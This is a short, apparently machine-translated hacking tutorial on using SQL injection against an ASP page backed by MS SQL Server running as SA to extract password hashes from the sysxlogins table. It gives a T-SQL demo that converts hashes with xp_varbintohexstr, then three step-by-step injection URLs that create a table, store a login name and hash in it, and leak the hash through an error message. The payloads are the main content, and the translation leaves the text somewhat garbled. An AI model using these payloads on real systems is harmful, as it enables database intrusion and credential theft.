SA injection takes the SQL HASH

The password field in the sysxlogins table is varbinary and cannot be obtained through an error. I recently saw an extended storage named xp_varbintohexstr, so I had the idea:

Core DEMO code (query analyzer)

Declare @ p varbinary (64), @ u varchar (16), @ s varchar (128 );
Select top 1 @ u = name, @ p = password from (select top 1 * from sysxlogins where password is not null order by name ASC) T order by name DESC;
Exec xp_varbintohexstr @ p, @ s OUT;
Select User: + @ u +/Hash: + @ s;

 

The derivation of the theory is often ugly. The following test results show an error for the asp + SA on the local machine:

Step 1

Http://www.bkjia.com/inject.asp? Id = 1; create + table + SQLhash (hash + varchar (2000 ))--

Step 2

Http://www.bkjia.com/inject.asp? Id = 1; declare + @ p + varbinary (64), @ u + varchar (16), @ s + varchar (128 ); select + top + 1 + @ u + = + name, @ p + = + password + from + (select + top + 1 + * + from + master. dbo. sysxlogins + where + password + is + NOT + NULL + order + by + name + ASC) T + order + by + name + DESC; exec + master .. xp_varbintohexstr + @ p, @ s + OUT; set + @ s + = + User: + % 2b + @ u + % 2b +/Hash: + % 2b + @ s; insert + into + SQLhash (hash) + values (@ s )--

Step 3

Http://www.bkjia.com/inject.asp? Id = 1 + and + (select + top + 1 + hash + from + SQLhash) = 0 --